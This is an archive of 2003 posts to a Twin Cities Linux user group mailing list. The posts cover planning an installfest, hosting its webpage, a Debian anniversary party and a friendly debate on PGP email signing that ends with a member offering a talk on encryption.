I'm not > mistaken... I do believe most of the ones I've been to did. On Mon, 11 Aug 2003, K B wrote: > Jima- I remember you saying that you wouldn't be able to make it to the > next one likely. Still can't make it, or what? Nope, I'm busy that weekend. > If so, we should get together so I can get a copy of your ISO mirrors > (and get mine all set up...) Well, I myself snagged most of the stuff I had from Gladiator, thanks to the coordination of the folks at RTE. The drive most of it was on was borrowed, and has since been blown away. I've still got the Woody ISOs for i386, sparc, & ppc, Mandrake 9.1 for i586 & ppc, the Slackware ISOs (thanks Shawn!), and my usual RedHat mirror stuff. On Mon, 11 Aug 2003, Florin Iucha wrote: > Naah. For the server we need an ugly duckling nobody wants to play > with. Just sitting in a corner serving files... Any old PII-class should > do it just fine over 100 mbit. I'm one to agree with this. Servers that don't do anything besides serve are the most reliable. The server at the last installfest was a 1.3ghz P4 with 128mb RAM. (It was handy, it wasn't mission-critical, and it had onboard Firewire. Perfect candidate.) The CPU was more than enough, but the RAM was less than I'd prefer to have (256+), but unless someone's giving away RDRAM...oh well. :) On Tue, 12 Aug 2003, David Phillips wrote: > Ah, good point, I had forgotten about those. Just tell everyone to > bring LCDs. :) Oh! You're buying me an LCD monitor! How sweet. I think that covers everything from this thread. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bruce.broecker at toro.com Tue Aug 12 08:05:59 2003 From: bruce.broecker at toro.com (Bruce Broecker) Date: Mon Jan 17 12:40:15 2005 Subject: [TCLUG] Have date for Installfest Message-ID: I didn't describe the room very well last time. This is a presentation room. It has lot's of space (capacity is listed at 85). There are at least 4 separate 20 amp circuits into the room, so power is not an issue either. It is very close to the front entrance and is on ground floor (well, everything is on ground floor here). Bruce Bruce Broecker Network Comm Supervisor The Toro Company >>> rick@eworld3.net 08/11/03 05:17PM >>> I'm glad that some people are interested in hosting and running another install fest. Here are some things to think about: The last time we had a fest in a conference room we blew out the power. If we estimate 20 machines at 2 amps per machine, that's 40 amps. That's a rough estimate, I will have a better description in the How-To. Some questions: Is there enough (RDBMS pun warning) table space for 20 computers? Will it be easy for people to get computers from the parking lot in and out of the room? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Tue Aug 12 08:12:09 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:15 2005 Subject: [TCLUG] Have date for Installfest In-Reply-To: References: <20030811155416.GA21442@autonomous.tv> Message-ID: <20030812131209.GD21442@autonomous.tv> On Tue, Aug 12, 2003 at 07:49:45AM -0500, Jima wrote: >list with crap. (Chewie: I'm also trimming my headers. ;) me too > > >On Mon, 11 Aug 2003, Spencer Butler wrote: >> Historically installfests are on a Saturday and begin at noon. > > Uhm, I don't think so, no. Well, *I* don't make it until noon, YMMV :) -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... 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The apprentice was enlightened. florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030812/e31cf5e5/attachment.pgp From chewie at wookimus.net Tue Aug 12 08:47:50 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:16 2005 Subject: Plain-text only, please (was Re: [TCLUG] Color Printers:) In-Reply-To: <20030812044927.GJ2497@iucha.net> References: <20030809144018.A25778@thinkunix.net> <3F35912D.000004.01072@home-3bqy5ht5fr> <20030810183511.GA30188@skuld.wookimus.net> <20030812044927.GJ2497@iucha.net> Message-ID: <20030812134750.GA1790@skuld.wookimus.net> I wrote: > Digital signatures are OK, if you feel it's absolutely necessary. On Mon, Aug 11, 2003 at 11:49:27PM -0500, Florin Iucha wrote: > Now, now, Chewie... What about the digital signatures? I meant exactly what I said. Digital signatures are useful if and when your emails need to be verifiable. I don't believe every post I send to the list is all that important, so why should I sign them all? YMMV, so I don't begrudge people who feel its necessary to sign everything. I can envision occassions where the habitual signing of each email is actually beneficial. Regardless, does that clear up any confusion I may have caused? -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... 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The problem with this story is that the worm that gets caught is the *late* worm (or maybe the slow worm). -- Jim Crumley |Twin Cities Linux Users Group Mailing List (TCLUG) crumley@fields.space.umn.edu |Minneapolis/St. Paul, Minnesota Ruthless Debian Zealot |http://www.mn-linux.org/ Never laugh at live dragons |Dmitry's free,Jon's next? http://faircopyright.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Tue Aug 12 08:52:56 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:16 2005 Subject: [TCLUG] Have date for Installfest In-Reply-To: <20030812132516.GM2497@iucha.net> References: <20030811155416.GA21442@autonomous.tv> <20030812131209.GD21442@autonomous.tv> <20030812132516.GM2497@iucha.net> Message-ID: <20030812135256.GB1790@skuld.wookimus.net> On Tue, Aug 12, 2003 at 08:25:16AM -0500, Florin Iucha wrote: > Master: What have you learned today? > Apprentice: The early bird gets the worm! > Master: But what happens to the early worm? > The apprentice was enlightened. ROFL! Had I not been reading about Buddha, I doubt I'd find your joke half as funny... Wait, did I pun again? ;-) -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nota12b at iglide.net Tue Aug 12 09:04:46 2003 From: nota12b at iglide.net (Wil) Date: Mon Jan 17 12:40:16 2005 Subject: [TCLUG] RE: Rhat 7.3 In-Reply-To: <20030812054502.11884.87300.Mailman@pirate.real-time.com> References: <20030812054502.11884.87300.Mailman@pirate.real-time.com> Message-ID: <1060697086.11817.1.camel@loki.valhalla> > Message: 4 > Date: Mon, 11 Aug 2003 13:31:39 -0500 (CDT) > From: "A. A. El Haddi" > To: tclug-list@mn-linux.org > Subject: [TCLUG] Rhat 7.3 > Reply-To: tclug-list@mn-linux.org > > > Any one has a copy of redhat 7.3 I could borrow. > I misplaced my copy and need to reinstall one of the > boxes. I am looking for someone in Eden Prairie, Wayzata, > Hopkins or West side of TC's area. > > Thanks. > > > --elhaddi Live in Hopkins, currently not working so available anytime for you to pick up a copy. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Tue Aug 12 10:06:03 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:16 2005 Subject: [TCLUG] Have date for Installfest In-Reply-To: <20030812132516.GM2497@iucha.net> References: <20030811155416.GA21442@autonomous.tv> <20030812131209.GD21442@autonomous.tv> <20030812132516.GM2497@iucha.net> Message-ID: <1060700763.3493.3.camel@lotsa> On Tue, 2003-08-12 at 08:25, Florin Iucha wrote: > On Tue, Aug 12, 2003 at 08:12:09AM -0500, Spencer Butler wrote: > > >> Historically installfests are on a Saturday and begin at noon. > > > > > > Uhm, I don't think so, no. > > Well, *I* don't make it until noon, YMMV :) > > Master: What have you learned today? > Apprentice: The early bird gets the worm! > Master: But what happens to the early worm? > The apprentice was enlightened. And second mouse gets the cheese. The second worm might get eaten too, just on principle. -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at myrealbox.com Tue Aug 12 10:16:20 2003 From: kcbnac at myrealbox.com (K B) Date: Mon Jan 17 12:40:16 2005 Subject: [TCLUG] Have date for Installfest Message-ID: <1060701380.cc210960kcbnac@myrealbox.com> > Spencer, I've told you before: No. > Oh, you mean about the DNS. Sure, no problem. :D > Of course, this would require extra bandwidth (which is not free). > However, we could also use if for some low-bandwidth applications, like > installfest documentation and picture archives. This seems okay. I've got my own web site just set up (For business, still working on it...the pages up there are from an old freebie site I had ages ago...) www.bnac.biz I can host the *non* ISO stuff. (documentation, picture archives, etc) no problem. Just send me the stuff. (Eventually here, I'll get set up as a hosting service and have free ftp accounts, at which point, Jima, I'll set one up for you or whoever in the TCLUG to work on it) This is not about Napster or DVDs. It's about your Freedom. http://www.anti-dmca.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From larrychisholm at comcast.net Tue Aug 12 10:05:53 2003 From: larrychisholm at comcast.net (Larry Chisholm) Date: Mon Jan 17 12:40:16 2005 Subject: Plain-text only, please (was Re: [TCLUG] Color Printers:) In-Reply-To: <20030810183511.GA30188@skuld.wookimus.net> References: <20030809144018.A25778@thinkunix.net> <3F35912D.000004.01072@home-3bqy5ht5fr> <20030810183511.GA30188@skuld.wookimus.net> Message-ID: <3F390251.6070903@comcast.net> Sorry will not happen again. Did not read that. Was on another system when I responded. Chad Walstrom wrote: >On Sat, Aug 09, 2003 at 07:26:21PM -0500, Larry Chisholm wrote: > > >>Thanks Scott. I had one of those before the lexmark. should have kept >>it I guess. >> >> > > >Larry, please quit sending GIF attachments to the list. We have a >preferred policy to send only plain-text email to the list. Digital >signatures are OK, if you feel it's absolutely necessary. > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at myrealbox.com Tue Aug 12 10:50:04 2003 From: kcbnac at myrealbox.com (K B) Date: Mon Jan 17 12:40:16 2005 Subject: [TCLUG] TCLUG Installfest webpage Message-ID: <1060703404.b805b560kcbnac@myrealbox.com> I now have a web page for the Installfest page (as discussed in another thread) I just need the pages of whatever's been compiled. www.bnac.biz/tclug/ This is not about Napster or DVDs. It's about your Freedom. http://www.anti-dmca.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From natecars at real-time.com Tue Aug 12 10:58:15 2003 From: natecars at real-time.com (natecars@real-time.com) Date: Mon Jan 17 12:40:16 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <1060641520.2896.9.camel@myah> References: <1060641520.2896.9.camel@myah> Message-ID: On Mon, 11 Aug 2003, Ryan Hayle wrote: > Hey, I know there are more people out there that use a Real Linux > distribution. Is anything planned to celebrate Debian's 10th Birthday? > See here for more info - http://www.debconf.org/10years/ Currently a > Minneapolis event remains listed as a "Call for interest", so...who's > interested? Hey, cool, I'm going to have the same anniversary as Debian. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 12 10:59:27 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:16 2005 Subject: Slack mirrors was Re: [TCLUG] Have date for Installfest In-Reply-To: References: <20030811155416.GA21442@autonomous.tv> Message-ID: <20030812105927.33be41ac.sfertch@real-time.com> On Tue, 12 Aug 2003 07:49:45 -0500 (CDT) Jima wrote: >the Slackware ISOs (thanks Shawn!), Thread Hi-jack! You're welcome Jima! I don't mind helping out like that at all. I asked before on how we can get the Slack mirror setup again on Gladiator, and got a few answers. Nothing definitive though. Who do I nee to talk to so I can get going on getting this done? Do I need an account for this, or what? I'm more than willing to setup and maintain the Slack mirror. If those (Bob, Jima, Florin?) who are the responsible parties for the general maintenance would reply off-list on this info, I'll be happy to start working on it over the next couple of days. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 12 11:01:08 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:16 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: References: <1060641520.2896.9.camel@myah> Message-ID: <20030812110108.7d4b2232.sfertch@real-time.com> On Tue, 12 Aug 2003 10:58:15 -0500 (CDT) natecars@real-time.com wrote: > On Mon, 11 Aug 2003, Ryan Hayle wrote: > > Hey, I know there are more people out there that use a Real Linux > > distribution. Is anything planned to celebrate Debian's 10th > > Birthday? See here for more info - http://www.debconf.org/10years/ > > Currently a Minneapolis event remains listed as a "Call for > > interest", so...who's interested? > > Hey, cool, I'm going to have the same anniversary as Debian. :) > Fess up Nate! You planned it that way! =) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jspinti at dartdist.com Tue Aug 12 11:14:36 2003 From: jspinti at dartdist.com (James Spinti) Date: Mon Jan 17 12:40:16 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <20030812110108.7d4b2232.sfertch@real-time.com> References: <1060641520.2896.9.camel@myah> <20030812110108.7d4b2232.sfertch@real-time.com> Message-ID: <200308121114.36805.jspinti@dartdist.com> On Tuesday 12 August 2003 11:01 am, Shawn wrote: > On Tue, 12 Aug 2003 10:58:15 -0500 (CDT) > > natecars@real-time.com wrote: > > On Mon, 11 Aug 2003, Ryan Hayle wrote: > > > Hey, I know there are more people out there that use a Real Linux > > > distribution. Is anything planned to celebrate Debian's 10th > > > Birthday? See here for more info - http://www.debconf.org/10years/ > > > Currently a Minneapolis event remains listed as a "Call for > > > interest", so...who's interested? > > > > Hey, cool, I'm going to have the same anniversary as Debian. :) > > Fess up Nate! You planned it that way! =) Actually I think that was an invitation for all of us to come to his wedding :) -- Thanks, James Spinti jspinti at dartdist dot com 952-368-3278 ext 396 fax 952-368-3255 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Tue Aug 12 11:13:45 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:16 2005 Subject: Plain-text only, please (was Re: [TCLUG] Color Printers:) In-Reply-To: <20030812134750.GA1790@skuld.wookimus.net> References: <20030809144018.A25778@thinkunix.net> <3F35912D.000004.01072@home-3bqy5ht5fr> <20030810183511.GA30188@skuld.wookimus.net> <20030812044927.GJ2497@iucha.net> <20030812134750.GA1790@skuld.wookimus.net> Message-ID: <20030812161345.GE21442@autonomous.tv> On Tue, Aug 12, 2003 at 08:47:50AM -0500, Chad Walstrom wrote: >I wrote: >> Digital signatures are OK, if you feel it's absolutely necessary. > >On Mon, Aug 11, 2003 at 11:49:27PM -0500, Florin Iucha wrote: >> Now, now, Chewie... What about the digital signatures? > >I meant exactly what I said. Digital signatures are useful if and when >your emails need to be verifiable. I don't believe every post I send to >the list is all that important, so why should I sign them all? YMMV, so >I don't begrudge people who feel its necessary to sign everything. I >can envision occassions where the habitual signing of each email is >actually beneficial. I have made it a point to train myself to sign most all of my outgoing mail. If for no other reason than to remember my passphrase ;) I feel it may be important in the not so distant future to prove the validity of my communications. I also feel that by digitally signing my messages now, when the actual need is limited, I provide a solid foundation on which one can base the actually validity of my digital voice. -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030812/667c6744/attachment.pgp From sfertch at real-time.com Tue Aug 12 11:26:51 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:16 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <200308121114.36805.jspinti@dartdist.com> References: <1060641520.2896.9.camel@myah> <20030812110108.7d4b2232.sfertch@real-time.com> <200308121114.36805.jspinti@dartdist.com> Message-ID: <20030812112651.09dee0e8.sfertch@real-time.com> On Tue, 12 Aug 2003 11:14:36 -0500 James Spinti wrote: > > Actually I think that was an invitation for all of us to come to his > wedding :) cool! Does this mean we get to drag the big Tux in as well? And all wear Debian paraphenlia? Actually, you folks can wear the Debian stuff. I'll wear my "Got Slack?" T-shirt. =) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From florin at iucha.net Tue Aug 12 11:29:12 2003 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 12:40:16 2005 Subject: Plain-text only, please (was Re: [TCLUG] Color Printers:) In-Reply-To: <20030812134750.GA1790@skuld.wookimus.net> References: <20030812044927.GJ2497@iucha.net> <20030812134750.GA1790@skuld.wookimus.net> Message-ID: <20030812162912.GP2497@iucha.net> On Tue, Aug 12, 2003 at 08:47:50AM -0500, Chad Walstrom wrote: > I wrote: > > Digital signatures are OK, if you feel it's absolutely necessary. > > On Mon, Aug 11, 2003 at 11:49:27PM -0500, Florin Iucha wrote: > > Now, now, Chewie... What about the digital signatures? > > I meant exactly what I said. Maybe I read too much in that "absolutely". > Digital signatures are useful if and when > your emails need to be verifiable. I don't believe every post I send to > the list is all that important, so why should I sign them all? I sign my messages to attract people's attention on message security. People do not encrypt their messages because: - they don't know it can be done, - they don't know how it can be done, - their partner doesn't know how it can be done, although they routinely place their paper-space messages in sealed envelopes. I am trying to raise the awareness: if people will see the signature enough, they might become curious and learn more about it. > YMMV, so > I don't begrudge people who feel its necessary to sign everything. I > can envision occassions where the habitual signing of each email is > actually beneficial. > > Regardless, does that clear up any confusion I may have caused? _Absolutely_ not. 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I'll wear my "Got Slack?" T-shirt. =) Yes, but SCO will be collecting dues at the door. I believe Jima (in a panic) buried his big Tux in the backyard. Since some of the Tux's are stuffed with hot air, SCO has a valid IP claim. And opening the Tux to find out what the stuffing is could violate DMCA. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Tue Aug 12 12:47:04 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:17 2005 Subject: [TCLUG] TCLUG Installfest webpage In-Reply-To: <1060703404.b805b560kcbnac@myrealbox.com>; from kcbnac@myrealbox.com on Tue, Aug 12, 2003 at 10:50:04AM -0500 References: <1060703404.b805b560kcbnac@myrealbox.com> Message-ID: <20030812124704.C2289@thinkunix.net> K B wrote: > I now have a web page for the Installfest page (as discussed in another thread) > www.bnac.biz/tclug/ Wouldn't it be more useful to just put the info and photos up under http://tclug.org/installfest/ ? There were some photos there already from previous installfests. I think it would be best long term to just add to the main tclug site then splinter off another site. It keeps it cohesive and in a single place. Perhaps the maintainers of the tclug site could enable webdav for easy uploads of new photos and documentation while keeping folks from having shell accounts. Just my $.02. -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Tue Aug 12 13:01:15 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:17 2005 Subject: Plain-text only, please (was Re: [TCLUG] Color Printers:) In-Reply-To: <20030812162912.GP2497@iucha.net>; from florin@iucha.net on Tue, Aug 12, 2003 at 11:29:12AM -0500 References: <20030812044927.GJ2497@iucha.net> <20030812134750.GA1790@skuld.wookimus.net> <20030812162912.GP2497@iucha.net> Message-ID: <20030812130115.E2289@thinkunix.net> Florin Iucha wrote: > > Digital signatures are useful if and when > > your emails need to be verifiable. I don't believe every post I send to > > the list is all that important, so why should I sign them all? > > I sign my messages to attract people's attention on message security. > People do not encrypt their messages because: > - they don't know it can be done, > - they don't know how it can be done, > - their partner doesn't know how it can be done, personally I'd love to know more about this and haven't had the time to sit down and figure it all out. sounds like a great topic for a tclug meeting! anyone willing to lead a discussion for October 4th meeting? -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From florin at iucha.net Tue Aug 12 13:03:47 2003 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 12:40:17 2005 Subject: Plain-text only, please (was Re: [TCLUG] Color Printers:) In-Reply-To: <20030812130115.E2289@thinkunix.net> References: <20030812044927.GJ2497@iucha.net> <20030812134750.GA1790@skuld.wookimus.net> <20030812162912.GP2497@iucha.net> <20030812130115.E2289@thinkunix.net> Message-ID: <20030812180347.GQ2497@iucha.net> On Tue, Aug 12, 2003 at 01:01:15PM -0500, Scot Jenkins wrote: > Florin Iucha wrote: > > > Digital signatures are useful if and when > > > your emails need to be verifiable. I don't believe every post I send to > > > the list is all that important, so why should I sign them all? > > > > I sign my messages to attract people's attention on message security. > > People do not encrypt their messages because: > > - they don't know it can be done, > > - they don't know how it can be done, > > - their partner doesn't know how it can be done, > > personally I'd love to know more about this and haven't had the time to > sit down and figure it all out. > sounds like a great topic for a tclug meeting! anyone willing to lead a > discussion for October 4th meeting? I am willing to give it a try. florin -- Don't question authority: they don't know it either! -------------- next part -------------- A non-text attachment was scrubbed... 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I don't believe every post I send to > > > > the list is all that important, so why should I sign them all? > > > > > > I sign my messages to attract people's attention on message security. > > > People do not encrypt their messages because: > > > - they don't know it can be done, > > > - they don't know how it can be done, > > > - their partner doesn't know how it can be done, > > > > personally I'd love to know more about this and haven't had the time to > > sit down and figure it all out. > > sounds like a great topic for a tclug meeting! anyone willing to lead a > > discussion for October 4th meeting? > > I am willing to give it a try. sounds great! Clay, can you put Florin's "digital signature's" talk on the calendar for Oct 4th? -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 12 13:10:08 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:17 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <20030812124652.A5983@localhost.localdomain> References: <1060641520.2896.9.camel@myah> <20030812110108.7d4b2232.sfertch@real-time.com> <200308121114.36805.jspinti@dartdist.com> <20030812112651.09dee0e8.sfertch@real-time.com> <20030812124652.A5983@localhost.localdomain> Message-ID: <20030812131008.1dead5a4.sfertch@real-time.com> On Tue, 12 Aug 2003 12:46:52 -0500 Karl Bongers wrote: > > > Actually I think that was an invitation for all of us to come to > > > his wedding :) > > > > cool! Does this mean we get to drag the big Tux in as well? And > > all wear Debian paraphenlia? Actually, you folks can wear the Debian > > stuff. I'll wear my "Got Slack?" T-shirt. =) > > Yes, but SCO will be collecting dues at the door. I believe Jima > (in a panic) buried his big Tux in the backyard. Since some of the > Tux's are stuffed with hot air, SCO has a valid IP claim. And opening > the Tux to find out what the stuffing is could violate DMCA. > And the American Dairy association will be collection for the infringement of their patented "got milk?" slogan.... -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at myrealbox.com Tue Aug 12 13:15:11 2003 From: kcbnac at myrealbox.com (K B) Date: Mon Jan 17 12:40:17 2005 Subject: [TCLUG] TCLUG Installfest webpage Message-ID: <1060712111.b94709c0kcbnac@myrealbox.com> Well, we *can* have it redirect, and it takes a load off the TCLUG hosting fees. I've got the bandwidth, and not likely to use it. -----Original Message----- From: Scot Jenkins To: tclug-list@mn-linux.org Date: Tue, 12 Aug 2003 12:47:04 -0500 Subject: Re: [TCLUG] TCLUG Installfest webpage K B wrote: > I now have a web page for the Installfest page (as discussed in another thread) > www.bnac.biz/tclug/ Wouldn't it be more useful to just put the info and photos up under http://tclug.org/installfest/ ? There were some photos there already from previous installfests. I think it would be best long term to just add to the main tclug site then splinter off another site. It keeps it cohesive and in a single place. Perhaps the maintainers of the tclug site could enable webdav for easy uploads of new photos and documentation while keeping folks from having shell accounts. Just my $.02. -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list This is not about Napster or DVDs. It's about your Freedom. http://www.anti-dmca.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From florin at iucha.net Tue Aug 12 13:16:04 2003 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 12:40:17 2005 Subject: Plain-text only, please (was Re: [TCLUG] Color Printers:) In-Reply-To: <20030812130841.G2289@thinkunix.net> References: <20030812044927.GJ2497@iucha.net> <20030812134750.GA1790@skuld.wookimus.net> <20030812162912.GP2497@iucha.net> <20030812130115.E2289@thinkunix.net> <20030812180347.GQ2497@iucha.net> <20030812130841.G2289@thinkunix.net> Message-ID: <20030812181604.GR2497@iucha.net> On Tue, Aug 12, 2003 at 01:08:41PM -0500, Scot Jenkins wrote: > > I am willing to give it a try. > > sounds great! Clay, can you put Florin's "digital signature's" talk on > the calendar for Oct 4th? Actually, digital signatures is just a small part. What is really usefull is the mesage encryption/decryption, key exchanges, keysinging parties... florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... 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Clay, can you put Florin's "digital signature's" talk on > > the calendar for Oct 4th? > > Actually, digital signatures is just a small part. What is really > usefull is the mesage encryption/decryption, key exchanges, keysinging > parties... perfect, the more info about it the better. put it all in your talk and I'm sure others will appreciate it too! -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot at thinkunix.net Tue Aug 12 13:29:44 2003 From: scot at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:17 2005 Subject: [TCLUG] TCLUG Installfest webpage In-Reply-To: <1060712111.b94709c0kcbnac@myrealbox.com>; from kcbnac@myrealbox.com on Tue, Aug 12, 2003 at 01:15:11PM -0500 References: <1060712111.b94709c0kcbnac@myrealbox.com> Message-ID: <20030812132944.C20033@thinkunix.net> K B wrote: > Well, we *can* have it redirect, and it takes a load off the TCLUG hosting fees. I've got the bandwidth, and not likely to use it. > to the best of my knowledge tclug as a group is not paying Real-Time anything for hosting and/or bandwidth (RT folks correct me if I'm wrong). do we get that many folks looking at installfest photos?? are bandwidth costs an issue for RT? -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Tue Aug 12 13:55:30 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:17 2005 Subject: [TCLUG] TCLUG Installfest webpage In-Reply-To: <20030812132944.C20033@thinkunix.net> References: <1060712111.b94709c0kcbnac@myrealbox.com> <20030812132944.C20033@thinkunix.net> Message-ID: <20030812185530.GA5440@fandre.com> On Tue, 12 Aug 2003, Scot Jenkins wrote: > K B wrote: > > Well, we *can* have it redirect, and it takes a load off the TCLUG hosting fees. I've got the bandwidth, and not likely to use it. > > > > to the best of my knowledge tclug as a group is not paying Real-Time > anything for hosting and/or bandwidth (RT folks correct me if I'm wrong). > You are correct. Real-Time is providing the bandwidth and space out of the goodness of their hearts. > do we get that many folks looking at installfest photos?? are bandwidth > costs an issue for RT? Personally I don't think bandwidth is an issue. http://stats.real-time.com/www.mn-linux.org/www2003/frames.html _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Tue Aug 12 14:33:19 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:17 2005 Subject: [TCLUG] 16 Aug: Debian's 10th Anniversary Party In-Reply-To: <20030812124652.A5983@localhost.localdomain> Message-ID: On Tue, 12 Aug 2003, Karl Bongers wrote: > Yes, but SCO will be collecting dues at the door. I have something for them, but it's not cash. > I believe Jima (in a panic) buried his big Tux in the backyard. Me? Panic? Pfft. :) Rest assured, the ?ber Tux is safe and sound in its secluded wintery habitat. It emerges occasionally for installfests and, every now and then, a beer meeting. > Since some of the Tux's are stuffed with hot air, SCO has a valid IP > claim. Wow, I hadn't realized hot air weighs so much. > And opening the Tux to find out what the stuffing is could violate DMCA. If it came from SCO, I have another suspicion. However, not being a farmer, I can't be certain. Jima _______________________________________________ TCLUG 